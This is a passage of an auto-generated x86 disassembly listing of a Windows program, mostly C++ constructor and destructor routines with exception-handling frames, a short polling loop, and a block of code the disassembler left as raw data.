		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4179F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A60	proc near		; CODE XREF: sub_4017DAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A60	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417AD0	proc near		; CODE XREF: sub_401B3Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417AD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417AD0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B40	proc near		; CODE XREF: sub_401F46j
		add	ecx, 4
		jmp	sub_401023
sub_417B40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B60	proc near		; CODE XREF: sub_401113j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417B60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417B60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417BE0	proc near		; CODE XREF: sub_401E06j
		add	ecx, 4
		jmp	sub_401023
sub_417BE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C00	proc near		; CODE XREF: sub_402013j
		add	ecx, 4
		jmp	sub_401023
sub_417C00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C20	proc near		; CODE XREF: sub_401F00j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417C20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417C20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417CC0	proc near		; CODE XREF: sub_401587j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417CC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417D60	proc near		; CODE XREF: sub_40164Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417D60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417D60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E30	proc near		; CODE XREF: sub_401780j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417E30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+8D008h]
		call	sub_401753
		lea	ecx, [esi+8D036h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+8D0C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F080
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417E30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417EF0	proc near		; CODE XREF: sub_40182Fj
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F050
		mov	eax, esi
		pop	esi
		retn
sub_417EF0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F20	proc near		; CODE XREF: sub_4016BDj
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F05C
		mov	eax, esi
		pop	esi
		retn
sub_417F20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F50	proc near		; CODE XREF: sub_40141Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417F50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417F50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418010	proc near		; CODE XREF: sub_401302j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418010
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418010	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4180D0	proc near		; CODE XREF: sub_401271j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4180D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F08C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4180D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418150	proc near		; CODE XREF: sub_401D25j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		mov	dword ptr [esi], offset	off_43F090
		mov	eax, esi
		pop	esi
		retn
sub_418150	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418180	proc near		; CODE XREF: sub_4012FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418180
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F094
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418180	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418200	proc near		; CODE XREF: sub_401A91j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418200
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F098
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418200	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418280	proc near		; CODE XREF: sub_401285j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F09C
		mov	eax, esi
		pop	esi
		retn
sub_418280	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4182B0	proc near		; CODE XREF: sub_401CB7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4182B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0A0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4182B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418330	proc near		; CODE XREF: sub_40157Dj
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F0A4
		mov	eax, esi
		pop	esi
		retn
sub_418330	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418360	proc near		; CODE XREF: sub_401799j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F0A8
		mov	eax, esi
		pop	esi
		retn
sub_418360	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418390	proc near		; CODE XREF: sub_401073j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418390
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0AC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418390	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418430	proc near		; CODE XREF: sub_401267j

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_5118D8
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+9FD2Ch], 1


loc_418448:				; CODE XREF: sub_418430+E4j
		test	bl, bl
		jnz	loc_41851E
		mov	al, [esi+8EF74h]
		test	al, al
		jnz	short loc_41845E
		mov	bl, 1
		jmp	short loc_418472
; ---------------------------------------------------------------------------


loc_41845E:				; CODE XREF: sub_418430+28j
		lea	ecx, [esi+15Fh]
		call	sub_40186B
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_418479


loc_418472:				; CODE XREF: sub_418430+2Cj
		mov	byte ptr [esi+9FD2Ch], 0


loc_418479:				; CODE XREF: sub_418430+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4020A4
		lea	edi, [esi+9FD83h]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401F69
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401703
		test	al, al
		jz	short loc_4184FE


loc_4184B4:				; CODE XREF: sub_418430+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402234
		mov	ecx, [eax]
		call	sub_40174E
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402234
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4184DB
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_4184DB:				; CODE XREF: sub_418430+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401361
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401703
		test	al, al
		jnz	short loc_4184B4


loc_4184FE:				; CODE XREF: sub_418430+82j
		mov	ecx, edi
		call	sub_4010B9
		push	0FAh
		call	ebp
		mov	al, [esi+9FD2Ch]
		test	al, al
		jnz	loc_418448
		test	bl, bl
		jz	short loc_41852B


loc_41851E:				; CODE XREF: sub_418430+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41852B:				; CODE XREF: sub_418430+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_418430	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418590	proc near		; CODE XREF: sub_401771j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_418590
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_4E8E9B
		mov	byte ptr [esi+9FD2Ch], 1
		call	sub_4010B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_4185D0
		push	eax
		jmp	short loc_4185D5
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_418590+3Bj
		push	offset byte_448F30


loc_4185D5:				; CODE XREF: sub_418590+3Ej
		lea	ecx, [esi+9FD57h]
		call	sub_4015E1
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_4185EE
		push	edi
		jmp	short loc_4185F3
; ---------------------------------------------------------------------------


loc_4185EE:				; CODE XREF: sub_418590+59j
		push	offset byte_448F30


loc_4185F3:				; CODE XREF: sub_418590+5Cj
		lea	ecx, [esi+9FD6Ch]
		call	sub_4015E1
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401384
sub_418590	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h,	0FE936BE8h
		dd 244C8DFFh, 2685128h,	90000002h, 69E020E8h, 8E92E871h
		dd 8E8DFFFEh, 1BBEh, 0FE91BBE8h, 468E8DFFh, 0E800001Bh
		dd 0FFFE93BDh, 15FBE8Dh, 0CF8B0000h, 0FE96F3E8h, 0D81D8BFFh
		dd 68005118h, 3E8h, 0CF8BD3FFh,	0FE8BB3E8h, 3E868FFh, 0D3FF0000h
		dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
		dd 0E80009FCh, 0FFFE8D52h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
		dd 5300001Ch, 0C6E8CF8Bh, 8BFFFE94h, 8AE7E8CFh,	868AFFFEh
		dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 69E8CF8Bh, 8AFFFE90h
		dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0F3E855CFh
		dd 84FFFE98h, 530B75C0h, 0E8CF8B55h, 0FFFE8DB5h, 0AE8D0EEBh
		dd 7F7h, 0E855CF8Bh, 0FFFE9255h, 7C7868Ah, 0C0840000h
		dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE98E5E8h, 74C084FFh
		dd 0E8006A08h, 7782175Eh, 97E4E890h, 8E8DFFFEh,	168h, 0FE90BDE8h
		dd 448D50FFh, 0E8501424h, 0FFFE9904h, 5008C483h, 0FD2D8E8Dh
		dd 84C70009h, 1C424h, 0
		dd 98D6E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
		dd 8ABCE8FFh, 9E8DFFFEh, 8EF5Dh, 67E8CB8Bh, 8DFFFE8Ch
		dd 8F2478Eh, 8C5CE800h,	8E8DFFFEh, 1D29h, 0FE9606E8h, 6F8E8DFFh
		dd 0E800001Eh, 0FFFE935Dh, 0F2858E8Dh, 70E80008h, 8DFFFE8Eh
		dd 9FA138Eh, 8F50E800h,	8E8DFFFEh, 8F3A2h, 0FE9A49E8h
		dd 738E8DFFh, 0E80009FAh, 0FFFE96A1h, 4EE8CB8Bh, 8DFFFE92h
		dd 9FC428Eh, 97A7E800h,	0CF8BFFFEh, 0FE886EE8h,	0BF8E8DFFh
		dd 0E80008F4h, 0FFFE9439h, 0FB058E8Dh, 0B1E80009h, 8DFFFE93h
		dd 9FAD38Eh, 9720E800h,	8E8DFFFEh, 9FB93h, 0FE916BE8h
		dd 0CD8E8DFFh, 0E80009FBh, 0FFFE984Fh, 0FBFF8E8Dh, 0DAE80009h
		dd 8BFFFE93h, 8A41E8CEh, 8E8DFFFEh, 8F270h, 1BE8F88Bh
		dd 8BFFFE8Fh, 8F14E8CBh, 0EDE8FFFEh, 90FFFE92h,	69BBE3E8h
		dd 42468A71h, 0B74C084h, 1528E8Dh, 97E80000h, 8BFFFE94h
		dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
		dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------

locret_418940:				; CODE XREF: ___:00402225j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418960:				; CODE XREF: ___:00401EE2j
		mov	eax, [esp+0Ch]
		push	0
		push	eax
		mov	ecx, offset dword_449118
		call	sub_401771
; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418990	proc near		; CODE XREF: sub_401B1Dj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4021DF
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40162C
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401438
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_402103
sub_418990	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418A00	proc near		; CODE XREF: sub_401B0Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40139D
sub_418A00	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418A40	proc near		; CODE XREF: sub_4021FDj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F69
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40155A
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_40207C
sub_418A40	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AB0	proc near		; CODE XREF: sub_401F69j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4015DC
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D98
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_418AB0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AF0	proc near		; CODE XREF: sub_401311j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D98
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_418AF0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B20	proc near		; CODE XREF: sub_4010B9j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F69
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40155A
		pop	esi
		add	esp, 0Ch
		retn
sub_418B20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B70	proc near		; CODE XREF: sub_4020A4j
		push	esi
		mov	esi, ecx
		call	sub_401532
		mov	eax, esi
		pop	esi
		retn
sub_418B70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B90	proc near		; CODE XREF: sub_402234j
		mov	eax, [ecx]
		push	eax
		call	sub_401172
		add	esp, 4
		retn
sub_418B90	endp

